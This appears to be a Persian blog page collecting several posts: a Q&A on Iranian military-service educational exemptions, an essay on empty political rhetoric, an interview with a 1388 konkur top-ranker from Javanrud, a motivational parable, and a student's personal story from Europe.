 جواب :بلی . مشمولان در طی مدت تحصیل از دیپلم تا دکتری صرفا ۱ بار می توانند از تحصیل انصراف و مجددا با پذیرفته شدن در دانشگاه به شرط : ۱- عدم گذشت بیش از یکسال از تاریخ انصراف (قبل از اعزام به خدمت). ۲- انصراف قبل از اتمام سنوات تحصیلی مصوب بوده باشد یعنی در سنوات ارفاقی نباشد .۳-انصراف از تحصیل در مقطع ، با اخذ مدرک تحصیلی پایین تر نبوده باشد .(مثلا انصراف از کارشناسی پیوسته با اخذ مدرک کاردانی نباشد، مگر اینکه مدرک اخذ شده در سنوات مجاز تحصیل همان مقطع یعنی مقطع پایین تر به مشمول تعلق گرفته باشد که در این صورت در حکم فارغ التحصیل محسوب شده و ادامه تحصیل وی بلامانع می باشد)۴- مقطع جدید ،تکراری نباشد.(یعنی قبلا از این مقطع فارغ التحصیل نشده باشد.)
 
۱۷- مشمولان فارغ التحصیل از مقطع متوسطه تا چه زمان می توانند در دانشگاه پذیرفته وثبت نام نمایند؟
جواب :چنانچه حداکثر ظرف مدت یکسال از زمان فارغ التحصیل شدن درمقطع دیپلم یاپیش دانشگاهی دردانشگاه پذیرفته شوندمجازبه تحصیل خواهند بود
ودر صورت سپری شدن بیش از یکسال حق تحصیل نخواهند داشت(قبل از اعزام به خدمت ) منظور از پذیرفته شدن دردانشگاه قبولی قطعی یا ثبت نام در دانشگاه می باشد ،لیکن بعد از اعزام به خدمت ، سپری شدن بیش از یکسال از تاریخ فراغت مقطع متوسطه مانع نخواهد بود و فقط نداشتن غیبت اولیه و پذیرش در مقطع کارشناسی و بالاتر ملاک می باشد .
 بدیهی است زمان اعلام قبولی در آزمون های سراسری به منزله پذیرش تلقی خواهد شدو در مورد پذیرش بدون آزمون در دانشگاه ، زمان ثبت نام به منزله تاریخ پذیرش است .
مثال: فارغ التحصیل۱/۴/۹۱درمقطع متوسطه که حداکثرتا ۱/۴/۹۲ قبولی قطعی یاثبت نام دردانشگاه داشته باشند می توانند ادامه تحصیل بدهند.
 
 ۱۸- فارغ التحصیلان مقطع متوسطه درخردادسال۹۰شرط ثبت نام یاقبولی دردانشگاه آیاحق ادامه تحصیل از مهر ۹۱ را دارند؟
جواب : بله. با توجه به اینکه فارغ التحصیلان خرداد (پس از ورود به سن مشمولیت ) به منزله فارغ التحصیلان  شهریور تلقی می گردندتا پایان شهریور سال بعد مهلت معرفی دارند .
 
 ۱۹- آیابه دوره های فراگیرپیام نور،دوره های بین الملل دردانشگاه وپودمانی وسایرمقاطع تحصیلی بدون آزمون معافیت تحصیلی تعلق می گیرد؟
 جواب : بلی درصورت تصویب شورای گسترش آموزش عالی امکان جذب بدون آزمون واحد آموزشی ، تحصیل اینگونه افراد منعی نخواهد داشت.(به دوره دانشپذیری در دانشگاه پیام نور ، معافیت تحصیلی تعلق نمی گیرد و صرفا از زمان قبولی قطعی و دانشجویی وضعیت مشمول بررسی و در صورت داشتن شرایط معافیت تحصیلی صادر خواهد شد.)
 
۲۰-  آیاسربازان وظیفه ای که به خدمت اشتغال خدمت دارندجهت تحصیل دردانشگاه هااز خدمت ترخیص میشوند؟
جواب : درصورت قبولی اینگونه سربازان درمقطع کارشناسی وبالاترترخیص ازخدمت صورت میگیرد وترخیص برای ادامه تحصیل درمقاطع کاردانی مجاز نمی باشد.
 
۲۱- دانشجویانی که با انصراف ازتحصیل ،به عنوان دارندگان مدرک معادل درمقطع پایین شناخته می شوند آیا مجاز به تحصیل در مقاطع بالاتر می باشند؟
جواب :خیر اینگونه  مشمولان تا پایان خدمت  دوره ضرورت حق ادامه  تحصیل نخواهند داشت .
 
۲۲- آیا دانشجویان اخراجی مجاز به ادامه تحصیل هستند؟
جواب :خیر دانشجویان اخراجی تا پایان خدمت یا اخذ معافیت دائم ، مجاز به ادامه تحصیل نمی باشند.
 
 ۲۳- سقف سنوات های مجاز  تحصیلی  در مقاطع مختلف دانشگاهی ، به  چه میزان می باشد؟
جواب : برابر تبصره (۱) ماده (۳۳) قانون خدمت وظیفه عمومی ، حداکثر معافیت تحصیلی برای دانش آموزان تا سن بیست سال تمام ودر هر یک از مقاطع  تحصیلی کاردانی دو و نیم سال، کارشناسی  ناپیوسته وکارشناسی ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال وکارشناسی ارشد  پیوسته شش  سال، دکترای پیوسته  هشت سال و دکترای تخصصی شش سال است.
 
۲۴- چه کسانی میتوانند از معافیت تحصیلی دانش آموزی در خارج از کشور استفاده نمایند؟
جواب : فرزندان ایرانیان مقیم خارج از کشور،چنانچه هنگام ورود به سن مشمولیت (ماه تولد ۱۸ سال تمام) درمدارس ایرانی یا مدارس خارجی مورد تایید وزارت آموزش وپرورش مشغول به تحصیل در مقطع متوسطه باشند می توانند از معافیت تحصیلی استفاده نمایند.
 
۲۵ -آیا تحصیل در دوره های زبان در خارج از کشور برای ورود به دانشگاه درشمول معافیت تحصیلی قرار می گیرند؟
جواب : خیر به این دوره ها معافیت تحصیلی تعلق نمی گیرد.
 
 ۲۶- آیا مشمولانی که در داخل کشور در مقطع متوسطه فارغ التحصیل می شوند، حق تحصیل در خارج از کشور را دارند؟
جواب : خیر آنها به عنوان مقیم خارج از کشور محسوب نشده ومجاز به تحصیل در دانشگاه های خارج از کشور نمی باشند.
 
 ۲۷- چه مشمولانی می توانند بدون آنکه مقیم کشورهای خارجی باشند دردانشگاه های خارج از کشور تحصیل نموده و از معافیت تحصیلی دانش جویان خارج از کشور بهره مند شوند؟
جواب : مشمولانی که در مقاطع کارشناسی یا بالاتر در دانشگاه های داخل کشور فارغ التحصیل شده باشند به شرط عدم ورود به غیبت وسپری نشدن بیش  از یکسال از تاریخ فراغت از تحصیل با سپردن تضمین لازم می توانند از این معافیت استفاده نمایند.(ودیعه لازم فعلا ۱۵ میلیون تومان وجه نقد می باشد.)
 
۲۸- آیا مرخصی تحصیلی جزء سنوات مجاز تحصیلی محسوب می گردد ؟
جواب :بله  دانشگاه ها باید از درج عبارت مرخصی بدون احتساب در سنوات تحصیلی برای دانشجویان مشمول خودداری نمایند.
 
۲۹- آیا مشمول غیر غایبی که بعد از مدت یکسال فرصت تعیین شده دانشگاه قبول شود می تواند از معافیت تحصیلی برخوردار شود؟
جواب :مشمولانی که به دلایل قانونی (معافیت موقت و … )تاریخ اعزام خود را به تعویق می اندازندچنانچه مدت تعویق آنان از مدت یکسال فرصت تعیین شده در قانون بیشتر گردد،  در صورتی که در حین فرصت معرفی تعویق شده (معافیت موقت و …) در دانشگاه قبول شوند ادامه تحصیل و بهره مندی آنان از معافیت تحصیلی بلامانع خواهد بود .
 
۳۰- آیا تحصیل همزمان با خدمت امکان پذیر می باشد؟
جواب :خیر حتی در صورت تایید دانشگاه برای این دسته از دانشجویان معافیت تحصیلی صادر نمی گردد.
 
۳۱- طلاب حوزه های علمیه پس از انصراف یا اخراج از  حوزه علمیه در چه صورت مجاز به ادامه تحصیل می باشند؟
جواب :طلاب حوزه های علمیه در صورت اخراج و یا انصراف از تحصیل تا پایان خدمت و یا اخذ معافیت دائم ، مجاز به ادامه تحصیل نمی باشند .

آیا همزمان با سربازی، می‌توان به دانشگاه رفت؟

به گزارش ایسنا، دکتر محمدحسین امید، رییس دانشگاه جامع علمی کاربردی

مذاکراتی با مسئولان ذی‌ربط برای تحصیل سربازان حین خدمت صورت گرفته است،

به دنبال این خبر شماری از مخاطبان ایسنا در تماس با این خبرگزاری پیگیر این موضوع شدند

که پیگیری‌های خبرنگار ایسنا حاکی از آن است که امکان اجرای چنین طرحی برای دانشجویان یا سربازان وجود ندارد.

حرف های چسفیلی، اداره کشور و سه آزمون رهایی بخش

🔲⭕️حرف های چسفیلی، اداره کشور و سه آزمون رهایی بخش

می‌گویند اولین مدل ذرت‌ بو داده که وارد ایران شد متعلق به کمپانی انگلیسی چسترفیلد بود و مردم با ساده‌سازی، «چسفیل» را برای ذرت بو داده انتخاب کردند. پاپ‌کورن یا چسفیل، چند خاصیت جالب دارد. آن را می‌شود برای سرگرمی خورد، حتی سیری مصنوعی هم ایجاد می‌کند و می‌شود حجم زیادی از آن‌را هم خورد، اما چسفیل هیچ وقت یک وعده غذا نمی‌شود؛ هیچ عاقلی را نمی‌بینید که قوت و غذایش را با بر اساس چسفیل تنظیم کند، بالاخص اگر کسی قصد داشته باشد کوهنوردی کند یا خود را برای انجام یک روز سخت کاری آماده نماید، کوله‌پشتی‌ای خود را از چسفیل پر نمی‌کند.

مردم برای کوهنوردی تفریحی هم به چسفیل اعتماد نمی‌کنند، اما سیاسمتدارانی هستند که برای اداره کشوری ۸۰ میلیونی با صدها مساله پیچیده، حرف‌هایی می‌زنند که می‌توان آن‌ها را «گفتارهای چسفیلی» نامید. منظورم جملاتی است که در نگاه اول جذاب به نظر میرسند و حتی شنونده درست مثل آدمی که چسفیل می‌خورد، لذت می‌برد و اشتیاق دارد که شمار بیشتری از این چسفیل‌ها را ببلعد، اما این حرف های چسفیلی هیچ مسأله‌ای را حل نمی کند.
چسفیل را می‌شود دور همی خورد، گپ زد، فیلم دید و زمین و زمان را به هم بافت، اما دست آخر یکی می‌پرسد: «خُب شام چی داریم؟»

به نمونه ای از این حرف های چسفیلی توجه کنید:
بهره‌وری پایین در صنایع، یکی از زمینه های معضلات اقتصادی است. باید برای بهبود بهره‌وری فکر اساسی شود.
اکتفا به فروش نفت برای حل معضل رکود اشتباه است. حل معضل رکود، نیازمند زنجیره‌ای از اقدامات است که برطرف کردن موانع کسب و کار یکی از حلقه های آن است.
قطعاً یکی از اولویت‌ها و محورهای کلیدی در طرح اصلاح اقتصادی در کشور، اصلاح عملکرد نظام بانکی است.
دولت با سیستم خسته خود مزاحمتی ایجاد نکند، ما مردم می‌دانیم چگونه در عرصه اقتصاد عمل کنیم.
نرم‌افزار فکری برخی از مدیران ارشد متناسب با اداره یک کشور وابسته و مستعمره هم نیست چه برسد به یک کشوری چون ایران که دارای توانمندی‌های خیره‌کننده در فناوری‌های پیشرفته است.

☑️⭕️تحلیل و تجویز راهبردی:
آنچه در بالا خواندیم بخشی از نوشته درخشان دکتر فاضلی، جامعه پژوه معاصرست. نکته اینجاست که ما همواره در معرض حرف های چسفیلی هستیم و ممکن است به همین دلیل فریب بخوریم و به فردی تمایل پیدا کنیم که بیشتر از همه چسفیل تحویل ما می دهد اما در آخر شام و ناهار هیچ! چه می توان کرد؟ من از سه تست استفاده می کنم تا بفهمم که آیا این حرف چسفیلی هست یا نه؟

۱- تست معکوس کردن مساله: آیا این حرف بازی با واژه هاست یا خیر؟ مثلا خیلی ها به جای آن که راه حل بدهند همان مشکل را واژه آرایی می کنند (برعکس می کنند) و تحویل ما می دهند: مثلا می گویند رسیدگی ویژه به مشکلات خورستان! دقت کنید در این جمله راه حلی ارایه نشده است فقط مشکل معکوس شده است.

۲- تست شنبه صبح: حرف های چسفیلی ما را برمی انگیزانند، لذت می بریم، اما چیزی کف دست ما نمی گذارند. یعنی شنبه صبح وقتی می خواهیم که به آن مساله بپردازیم هیچ (تاکید می کنم هیچ) کمکی به حل مساله نمی کند. از خودمان بپرسیم آیا گوینده «راه حل مشخص و با تراز مثبت» ارایه می کند. مشخص یعنی خیلی واضح بدانیم که شنبه صبح چه کنیم؟ و تراز مثبت یعنی اینکه منافعش بیش از هزینه هایش باشد.
به عنوان مثال مثلا ممکن است بگویند دولت باید به عنوان بزرگ ترین بدهکار، بدهی خود را تسویه کند. اما این حرف در برابر تست شنبه صبح رفوزه است. یا مثالی دیگر مثلا چون می دانند ما از حضور زنان و جوانان در سمت های مدیریتی استقبال می کنیم، صحبت از استفاده از زنان و جوانان خوشفکر و متخصص در سمت های مدیریتی می کنند و می گویند که مدیران فعلی خسته و بی انگیزه اند. خوب باید پرسید شما دقیقا چه سازوکاری برای گذاشتن جوانان در سمت های مدیریتی دارید؟ اگر سازوکار عملی دارید آیا در گذشته آن را اجرا کرده اید؟
۳- تست همه راضی اند؟ اگر راه حل شما همه را خوشحال می کند اما کسی ناراحت نمی شود این یعنی اینکه ما داریم حرف های پوپولیستی می زنیم صرفا برای معرکه گیری. مثلا بسیاری می دانند که اینگونه توزیع یارانه ها، اصلا به صلاح کشور نیست اما چون ترس از ریزش رای دارند از سیصد کیلومتری آن رد هم نمی شوند و اگر هم صحبت کنند فقط خواهند گفت که آن را دو الی سه برابر خواهند کرد.

حرف های چسفیلی برای تئاتر مردم‌دوستی بازی کردن خوب اند. اما نتیجه اش ویرانی کشور است. حواسمان باشد اصولگرا و اصلاح‌طلب، دلواپس و امیدوار به ما چسفیل تحویل ندهند و اگر دادند ما تحویل نگیریم. ما باید کشورداری را از «رویکرد چسفیلی» به سمت «مدیریت راهبردی نظام مند و پاسخگو» حرکت دهیم.

 

رتبه یک با معدل یازده

مصاحبه با رستگار رحمانی تنها، رتبه اول تجربی و زبان های خارجی

خیلی‌ها دوست دارند به قطاری که در حال حرکت است، سنگ بزنند و کسی دوست ندارد به قطار ایستاده در ایستگاه سنگ بزند. اگر ایمان دارید راهی که می‌روید رضایت خدا و خلق را به همراه دارد باید بدون فکر به حرف و گاهی حسادت‌های اطرافیان در آن مسیر حرکت کنید؛ این سنگ‌ها همیشه هست. نباید از ظاهر و قیافه کسی درباره اعمالش قضاوت کرد باید خوشحال شویم که کسی از ما جلوتر است اما نمی‌دانم چرا گاهی این مسائل نادیده گرفته می‌شود… مثال زنده این جملات جریان رتبه اول کنکور سراسری در رشته تجربی است.

وقتی نتایج کنکور سراسری ۸۸ اعلام شد، شاید کمتر کسی فکر می‌کرد نفر اول گروه‌های تجربی و زبان‌های خارجی و چهل و چهارم رشته هنر؛ دیپلمه‌ای ریاضی باشد که به امید خدمت به مردم محروم منطقه خود می‌خواهد پزشک شود. رستگار رحمانی فرزند خانواده‌ای ۱۰ نفره است که پدرش کارگر ساختمان و مادرش خانه‌دار است.

رتبه یک تجربی سال ۸۸، اهل محله بهداری از شهر مرزی جوانرود با جمعیتی بالغ بر ۵۰ هزار نفر است؛ از جایی که مهم‌ترین امکاناتش پارک تفریحی تجهیز نشده‌ای است که سینما، تئاتر، کافی شاپ، رستوران و… ندارد. نخبه جوان ما دوران متوسطه خود را در محله قرگه در دبیرستان معراج جوانرود سپری کرد و پس از آن در پیش‌دانشگاهی ادیب جوانرود واقع در محله هلانیه ادامه تحصیل داد. او پس از پایان خدمت سربازی با چهار ماه فرصت مطالعه موفق شد با شرکت در کنکور سراسری سال ۱۳۸۸ رتبه اول کشوری را در دو گروه آزمایشی علوم تجربی و زبان‌های خارجی از آن خود کند. دلایل تحصیل و درد دل‌های این جوان کرمانشاهی که توانسته است خیل عظیم حریفان را در میدان رقابت کنار بزند و عنوان قهرمان ماراتن کنکور را با تحمل سختی‌ها و مشقات بسیاری به دست آورد؛ شنیدنی است… زمانی که داستان زندگی او را می‌شنوید، انگار که یک فیلم هندی دیده‌اید، به خصوص زمانی که می‌گوید: در یک انباری ۲ در ۳ متری درس می‌خواندم.

شما که دیپلم ریاضی هستید چرا برای کنکور، رشته تجربی را انتخاب کردید؟

رستگار: رشته‌های مهندسی متقاضی زیادی دارند اما پس از فارغ‌التحصیلی بازارکار تضمین شده‌ای در انتظار این رشته‌ها نیست. من ترجیح می‌دادم که در رشته‌ای تحصیل کنم که پس از فارغ‌التحصیلی شغل تضمین شده‌ای داشته باشد.

حالا چه رشته‌ای و چه دانشگاهی را انتخاب کردید؟

رستگار: رشته پزشکی دانشگاه تهران، زیرا به امید خدمت به مردم محروم منطقه خود می‌خواهم پزشک شوم. شهر ما از خدمات تخصصی و پیشرفته پزشکی محروم است. بیشتر مردم برای کارهای تخصصی پزشکی باید به کرمانشاه بروند. می‌خواهم پزشکی که خواندم، برگردم و به مردم شهرم خدمت کنم.

رتبه یک بودن برایتان مهم بود؟ برای انتخاب این رشته که مهم نبود حتما اول باشید؟

رستگار: برای انتخاب رشته که نه، تفاوتی نمی‌کرد متنها باید رتبه زیر صد می‌گرفتم، اما دلیل اصلی من برای کسب این رتبه شادی پدر و مادرم بودند.

پس برای کسب رتبه درس می‌خواندید؟

رستگار: بله؛ من کسب رتبه تک‌رقمی (حداقل در سطح منطقه خودمان) را به عنوان هدف خودم قرار داده بودم و از آنجا که می‌دانستم کار سختی را پیش‌رو دارم با برنامه‌ریزی و بررسی نقاط ضعف و قوت خود برنامه مطالعاتی خود را ادامه دادم.

کسب رتبه برتر ویژگی خاصی می‌خواهد؟

رستگار: متاسفانه ذهنیت اکثر افراد جامعه این است؛ البته خودم هم قبلا همین فکر را می‌کردم اما حالا متوجه شدم قبولی در هر کاری فقط با توکل به خدا و پشتکار فرد امکان‌پذیر است. کسب رتبه برتر کنکور به شرایط و امکانات خاصی نیاز ندارد، بلکه پشتکار و تلاش فرد را می‌طلبد.

خانواده چقدر در کسب این موفقیت شما نقش داشت؟

رستگار: حمایت و پشتیبانی خانواده و معلمانم با وجود امکانات بسیار کم، عامل مهمی در به دست آوردن این موفقیت بود. خانواده به خاطر من سختی‌های زیادی را تحمل کردند معلمان شهرستان جوانرود نیز با وجود کمبود وقت و امکانات، تلاش‌های فراوانی بدون هیچ چشمداشتی، نه تنها برای من بلکه برای دانش‌آموزان این شهرستان انجام داده و می‌دهند.

کمی درباره نحوه و روش درس خواندنتان برای ما بگویید؟

رستگار: از اول بهمن سال گذشته؛ روزی هفت تا هشت ساعت مطالعه داشتم. بعد از ایام عید این میزان مطالعه به روزی هشت تا ۱۰ ساعت رسید و در آستانه کنکور نیز روزی ۱۲ تا ۱۳ ساعت مطالعه داشتم. اساس کار را بر سه دوره مطالعه دروس پیش‌دانشگاهی و سال دوم دبیرستان در مرحله اول، دروس پیش‌دانشگاهی و سال سوم دبیرستان در مرحله دوم و جمع‌بندی قرار دادم.

بیشتر کجا درس می‌خواندید؟

رستگار: خانواده من یک خانواده پرجمعیت است و با خواهران و برادرانم زندگی می‌کنم. پدرم کارگر و مادرم خانه‌دار است و بچه‌های دیگر هم یا در حال تحصیل در مدرسه یا در دانشگاه ه

ستند. برای اینکه جایی داشته باشم که دور از سر و صدا درس بخوانم می‌رفتم انباری؛ یک اتاق کوچک ۲ در ۳.

از کتاب‌های آموزشی خاصی برای کنکور استفاده کردید؟

رستگار: تنها از تست آزمون‌های سال گذشته، برخی کتاب‌های تست‌زنی معتبر همراه با برنامه‌ریزی و تکرار و مرور دروس استفاده کردم و همه اینها را رمز موفقیت خود می‌دانم.

کلاس یا آزمون آزمایشی چطور؟

رستگار: کلاس کنکوری وجود نداشت که بروم اما در آزمون‌های آزمایشی که هر دو هفته یک بار برگزار می‌شد؛ شرکت می‌کردم و در همان آزمون‌ها نمرات خوبی به دست می‌آوردم. هدفم کسب رتبه اول تا دهم بود. در هیچ کلاس کنکوری ثبت‌نام نکردم و با توجه به کمبود امکانات در محل زندگی‌مان رقابت با داوطلبانی که حداکثر امکانات در مراکز استان‌ها را داشتند؛ سخت بود.

چرا در میان انبوه کلاس‌های خصوصی، معلم خصوصی، دوپینگ علمی و… در شهرهای بزرگ، یک دیپلم ریاضی از یک شهر کوچک، رتبه اول کنکور را به دست می‌آورد؟

رستگار: انگیزه و تلاش. این دو عامل رمز موفقیت دانش‌آموزان شهرهای کوچک است. آنها این انگیزه را دارند که به موفقیت برسند و با وجود کمبود یا حتی نبود امکانات مناسب آموزشی و کمک آموزشی می‌توانند به سطحی برسند که قابل توجه است.

مشوق اصلی شما برای شرکت در کنکور چه کسی بود؟

رستگار: با اینکه پدر و مادرم شناخت کمی نسبت به مسائل کنکور، سهمیه‌ها، مناطق و این جور موضوعات دارند اما پس از هر آزمون آزمایشی پیگیر بودند و همواره مشوقم بودند.

به نظر شما سوالات کنکور امسال چطور بود؟

رستگار: سطح سوالات کنکور امسال خوب بود اما به نظر من سوالات عمومی وقت گیر بود.

راستی چرا زبان؟

رستگار: از اول به زبان انگلیسی و کتاب‌های مکالمه علاقه‌مند شدم، اما پس از آن در کلاس زبان شرکت کردم و این موضوع را به صورت جدی پیگیری کردم.

فکر می‌کردید در رشته زبان‌های خارجی هم رتبه اول را کسب کنید؟

رستگار: فکر می‌کردم در رشته علوم تجربی رتبه‌ام تک‌رقمی شود، اما تصور نمی‌کردم رتبه اول را کسب کنم اما در رشته زبان اصلا فکر نمی‌کردم. مطمئن نبودم در این گروه اول شوم اما حدس می‌زدم که رتبه تک‌رقمی منطقه خودمان را به دست آورم.

قضیه شک سازمان سنجش و این آزمون دوباره چه بود؟

رستگار: این برای خود من هم جای سوال داشت و دارد. به من چیزی در این باره نگفتند، فقط گفتند که ضرورت دارد قبل از اعلام نتایج نهایی در این آزمون دوباره شرکت کنید. به اعتقاد من این موضوع تنها یک معنی دارد و آن هم این است نتیجه‌ای که به‌دست آمده از راه دیگری به دست آمده و مربوط به من نیست.

شما هم در این آزمون دوباره شرکت کردید؛ چرا؟

رستگار: اگر شرکت نمی‌کردم نتایجم حذف می‌شد، اما من شرکت کردم گویا نتایج این آزمون دوباره از آزمون سراسری بهتر شد و حتی درس‌هایی که صددرصد نزده بودم را این بار صد زدم.

باز هم برای ما سوال است؛ چرا آزمون دوباره چون بچه شهرستانی بودید؟

رستگار: برای من هم همین طور؛ بر فرض اینکه نتیجه از آن من نبود اما خودشان قضاوت کنند چطور بدون مطالعه درست می‌توان در دو رشته رتبه اول را کسب کرد شاید در یکی از این دو رشته با آن مسائلی که آنها فکر می‌کردند به این نتیجه رسیدم اما رشته دیگر چی یا آن رشته‌ای که در آن رتبه دورقمی را کسب کردم؛ چی؟! همه می‌دانند از مراحل طرح سوالات کنکور تا چاپ و توزیع آنها قرنطینه شدیدی وجود دارد پس امکان لو رفتن سوالات منتفی است. من هرچه فکر می‌کنم دلیل منطقی برای امتحان دوباره نمی‌بینم البته باز هم مشکلی نیست اما باید این را بدانیم که بعد از یک ماه و نیم از کنکور دیگر داوطلب آن آمادگی زمان امتحان را ندارد.

قبل از سال ۸۸ هم در کنکور شرکت کرده بودید؟

رستگار: اینکه در سال‌های ۸۲ تا ۸۵ اقدام به شرکت در کنکور نکردم دلیلش برای خودم محفوظ بماند اما در سال ۸۵ به دلیل اعزام به خدمت سربازی نتوانستم به دانشگاه راه یابم در حقیقت در آن سال برای اولین بار در کنکور شرکت کردم و آن زمان در رشته خودم یعنی ریاضی امتحان دادم و رتبه ۳۰ کشور و دوم منطقه و سوم زبان‌های خارجی را کسب کردم اما به دلایل مشکلات شخصی (ترجیح می‌دهم درباره‌اش حرف نزنم) نتوانستم به موقع ثبت‌نام کنم و زمانی که برای ثبت‌نام مراجعه کردم سنم از حد نصابی که برای معافیت تحصیلی لازم است فراتر رفته بود و باید به خدمت سربازی می‌رفتم. بعد از اتمام خدمت سربازی یعنی بهمن سال ۸۷ بود که این بار برای کنکور تجربی شروع به درس خواندن کردم.

دوست نداشتی به جای درس و دانشگاه کمک حال پدرت شوی؟

رستگار: شاید خودم هم دلم می‌خواست این کار را بکنم، در یک مقطعی مخصوصا بعد از سربازی فکر کردم درس را کنار بگذارم مخصوصا که خب دو سال از درس و کتاب دور شده بودم، اما باور نمی‌کنید پدرم خودش این اجازه را به من نمی‌داد و می‌گفت: من حداقل امکانات را 

برایت فراهم می‌کنم تا درس بخوانی.

هدفتان در زندگی چیست؟

رستگار: مهم‌ترین هدف من، خدمت به مردم به خصوص مردم شهرستان جوانرود است قطعا با حمایت دولتمردان و مسئولان می‌توانم به هدف بزرگم یعنی خدمت به میهن برسم.

برای آینده چه فکر و تصمیمی دارید؟

رستگار: با رشته‌ای که انتخاب کردم زمینه‌ای برایم فراهم شده که شرایطم را بهتر از گذشته کرده است، می‌خواهم در رشته‌ای که وارد می‌شوم مثمرثمر باشم و کارهایی دور از کلیشه انجام دهم و در نهایت پدر و مادرم را خوشحال ببینم.

چطور مسئولان باید از نخبگان حمایت کنند؟

رستگار: حمایت و پشتیبانی مسئولان از نخبگان و بهترین‌های کنکور باعث دلگرمی و نقطه قوتی برای تلاش بیشتر آنهاست. این روند در ایجاد انگیزه برای حضور و تلاش بیشتر نخبگان در جامعه حائز اهمیت است، چراکه این افراد با طیب‌خاطر به فعالیت و ادامه تحصیل می‌پردازند و بهتر می‌توانند در شکوفایی جامعه موثر باشند.

با حذف کنکور موافق هستید؟

رستگار: نه، اصلا؛ به نظر من کنکور بهترین معیار برای ارزیابی داوطلبان است و با حذف آن دیگر معیاری برای سنجش دانش داوطلبان نداریم اگر قرار به حذف باشد به نظرم باید برای کنکور جایگزین مناسب پیدا کنند؛ یک آزمون مناسب.

چه توصیه‌ای به داوطلبان سال آینده کنکور دارید؟

رستگار: به داوطلبان سال آینده کنکور توصیه می‌کنم کتاب‌های درسی خود را به دقت مطالعه کنند و در کنکورهای آزمایشی نیز شرکت کنند. در ایران چند سال است که کنکور، کتاب‌محور است و اگر دانش‌آموز تمام تلاش خود را بر روی کتاب متمرکز کند موفقیت بیشتری به دست می‌آورد.

و حرف پایانی؟

رستگار: کنکور تنها راه موفقیت در زندگی نیست، اما ارزشش را دارد افرادی که یک‌بار در آن موفق نشده‌اند یک سال دیگر وقتشان را صرف کنکور کنند و پس از آن اگر موفقیتی در این زمینه به دست نیاوردند سراغ سایر توانمندی‌های خودشان بروند.
? این مصاحبه رو برای دوستان خود که در آینده امتحان کنکور پیش رو دارند به اشتراک بذارید .??➕

هر کسی با هر شرایطی در هر نقطه ای از ایران میتونه رتبه تک رقمی باشه مهم انرژی، باورقلبی و ایمانیه که خودش داره و به میزان این باور، تلاش و پشتکار میذاره پای هدف و آرزوش !

امیدوارم در آینده داستان موفقیت تو رو هم برای دوستان به اشتراک بذاریم رفیق ?➕

 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

